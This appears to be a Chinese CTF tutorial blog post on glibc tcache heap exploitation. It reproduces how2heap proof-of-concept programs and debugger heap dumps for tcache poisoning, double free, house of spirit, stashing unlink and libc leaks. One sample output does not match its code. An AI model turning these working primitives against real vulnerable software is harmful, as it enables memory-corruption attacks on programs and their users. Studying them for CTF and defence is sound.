堆溢出-Tcache_Attack

tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查,也因此有了很多新的利用方式。对 tcache 的深入认识去这里。这里主要记录一下如何 PWN tcache。

tcache poisoning

即 tcache 污染,通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。以 how2heap 中的 tcache_poisoning 为例,代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

return 0;
}

输入如下:

glibc_2.26 [master●] ./tcache_poisoning 
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.

The address we want malloc() to return is 0x7fff0d28a0c8.
Allocating 1 buffer.
malloc(128): 0x55f666ee1260
Freeing the buffer...
Now the tcache list has [ 0x55f666ee1260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55f666ee1260
to point to the location to control (0x7fff0d28a0c8).
1st malloc(128): 0x55f666ee1260
Now the tcache list has [ 0x7fff0d28a0c8 ].
2st malloc(128): 0x7fff0d28a0c8
We got the control

从代码的逻辑可以看出其漏洞利用与 fastbin 的攻击方式是一样的,都是通过更改fd指针指向我们控制的地址,但因为没有 size 的限制有了更大的利用范围。

tcache dup

类似 fastbin dup,不过利用的是 tcache_put() 的不严谨:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。

因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

以 how2heap 中的 tcache_dup 为例,代码如下:

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

fprintf(stderr, "Allocating buffer.\n");
int *a = malloc(8);

fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

return 0;
}

第一次 free 时,申请的 chunk 被放入 tcache_entry 中:

pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555756270 (size : 0x20d90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0]: 0x555555756260

第二次 free 时,虽然 free 的是同一个 chunk,但因为 tcache_put() 没有做任何检查,因此程序不会 crash,而 tcache_entry 中会再添加该 chunk 的地址:

pwndbg> heapinfo
3886144
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555756270 (size : 0x20d90)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0]: 0x555555756260 --> 0x555555756260 (overlap chunk with 0x555555756250(freed) )

tcache perthread corruption

我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。

设想有如下的堆排布情况:

tcache_    +------------+
\perthread |...... |
\_struct +------------+
|counts[i] |
+------------+
|...... | +----------+
+------------+ |header |
|entries[i] |--------->+----------+
+------------+ |NULL |
|...... | +----------+
| | | |
+------------+ +----------+

通过一些手段(如 tcache posioning),我们将其改为了:

tcache_    +------------+<---------------------------+
\perthread |...... | |
\_struct +------------+ |
|counts[i] | |
+------------+ |
|...... | +----------+ |
+------------+ |header | |
|entries[i] |--------->+----------+ |
+------------+ |target |------+
|...... | +----------+
| | | |
+------------+ +----------+

这样,两次 malloc 后我们就返回了 tcache_prethread_struct 的地址,就可以控制整个 tcache 了。因为 tcache_prethread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。

tcache house of spirit

与 fastbin 中的 house of spirit 一样,该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

拿 how2heap 的源码来讲:

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

fprintf(stderr, "Ok. Let's start with the example!.\n\n");


fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

攻击之后的目的是,去控制栈上的内容,malloc 一块 chunk ,然后我们通过在栈上 fake 的 chunk,然后去 free 掉他,我们会发现:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x4052e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x7fffffffe510 --> 0x401340

Tcache 里就存放了一块 栈上的内容,我们之后只需 malloc,就可以控制这块内存。

在 smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。

这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时,同大小的 small bin 会放进 tcache 中 (这种情况可以用 calloc 分配同大小堆块触发,因为 calloc 分配堆块时不从 tcache bin 中选取)。在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针时,其可以在任意地址上写一个 libc 地址 (类似 unsorted bin attack 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。

我们按照释放的先后顺序称 smallbin[sz] 中的两个 chunk 分别为 chunk0 和 chunk1。我们修改 chunk1 的 bkfake_chunk_addr。同时还要在 fake_chunk_addr->bk 处提前写一个可写地址 writable_addr 。调用 calloc(size-0x10) 的时候会返回给用户 chunk0 (这是因为 smallbin 的 FIFO 分配机制),假设 tcache[sz] 中有 5 个空闲堆块,则有足够的位置容纳 chunk1 以及 fake_chunk 。在源码的检查中,只对第一个 chunk 的链表完整性做了检测 __glibc_unlikely (bck->fd != victim) ,后续堆块在放入过程中并没有检测。

因为 tcache 的分配机制是 LIFO ,所以位于 fake_chunk->bk 指针处的 fake_chunk 在链入 tcache 的时候反而会放到链表表头。在下一次调用 malloc(sz-0x10) 时会返回 fake_chunk+0x10 给用户,同时,由于 bin->bk = bck;bck->fd = bin; 的 unlink 操作,会使得 writable_addr+0x10 处被写入一个 libc 地址。

这里以 how2heap 中的 tcache_stashing_unlink_attack 为例:

#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);//>0x90

//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}

这个 poc 用栈上的一个数组上模拟 fake_chunk 。首先构造出 5 个 tcache chunk 和 2 个 smallbin chunk 的情况。模拟 UAF 漏洞修改 bin2->bkfake_chunk ,在 calloc(0x90) 的时候触发攻击。

我们在 calloc 处下断点,调用前查看堆块排布情况。此时 tcache[0xa0] 中有 5 个空闲块。可以看到 chunk1->bk 已经被改为了 fake_chunk_addr 。而 fake_chunk->bk 也写上了一个可写地址。由于 smallbin 是按照 bk 指针寻块的,分配得到的顺序应当是 0x0000000000603250->0x0000000000603390->0x00007fffffffdbc0 (FIFO) 。调用 calloc 会返回给用户 0x0000000000603250+0x10

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6038a0 (size : 0x20760)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x0 and 0x603390 is broken)
(0xa0) tcache_entry[8](5): 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x603390
0x603390: 0x0000000000000000 0x00000000000000a1
0x6033a0: 0x0000000000603250 0x00007fffffffdbc0
gdb-peda$ x/4gx 0x00007fffffffdbc0
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbd0
gdb-peda$ x/4gx 0x0000000000603250
0x603250: 0x0000000000000000 0x00000000000000a1
0x603260: 0x00007ffff7dcfd30 0x0000000000603390
gdb-peda$ x/4gx 0x00007ffff7dcfd30
0x7ffff7dcfd30 <main_arena+240>: 0x00007ffff7dcfd20 0x00007ffff7dcfd20
0x7ffff7dcfd40 <main_arena+256>: 0x0000000000603390 0x0000000000603250

调用 calloc 后再查看堆块排布情况,可以看到 fake_chunk 已经被链入 tcache_entry[8] , 且因为分配顺序变成了 LIFO , 0x7fffffffdbd0-0x10 这个块被提到了链表头,下次 malloc(0x90) 即可获得这个块。

其 fd 指向下一个空闲块,在 unlink 过程中 bck->fd=bin 的赋值操作使得 0x00007fffffffdbd0+0x10 处写入了一个 libc 地址。

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6038a0 (size : 0x20760)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x6033a0 and 0x603390 is broken)
(0xa0) tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x00000000006033a0 0x00007fffffffdbd0
0x7fffffffdbe0: 0x00007ffff7dcfd30 0x0000000000000000

libc leak

在以前的 libc 版本中,我们只需这样:

#include <stdlib.h>
#include <stdio.h>

int main()
{
long *a = malloc(0x1000);
malloc(0x10);
free(a);
printf("%p\n",a[0]);
}

但是在 2.26 之后的 libc 版本后,我们首先得先把 tcache 填满:

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);

// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);

free(a);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}

之后,我们就可以 leak libc 了。如下图:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559af0 (size : 0x20510)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555559250 (size : 0x110)
(0x110) tcache_entry[15]: 0x5555555599f0 --> 0x5555555598e0 --> 0x5555555597d0 --> 0x5555555596c0 --> 0x5555555595b0 --> 0x5555555594a0 --> 0x555555559390
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x250 Used None None
0x555555559250 0x0 0x110 Freed 0x7ffff7fc0ca0 0x7ffff7fc0ca0
0x555555559360 0x110 0x20 Used None None
0x555555559380 0x0 0x110 Used None None
0x555555559490 0x0 0x110 Used None None
0x5555555595a0 0x0 0x110 Used None None
0x5555555596b0 0x0 0x110 Used None None

建议的练习题

  • 2018 HITCON children_tcache
  • 2018 BCTF houseOfAtum
  • 2019 HTICON Lazy House
  • 2020 XCTF no-Cov twochunk

Comments


:D 一言句子获取中...

Loading...Wait a Minute!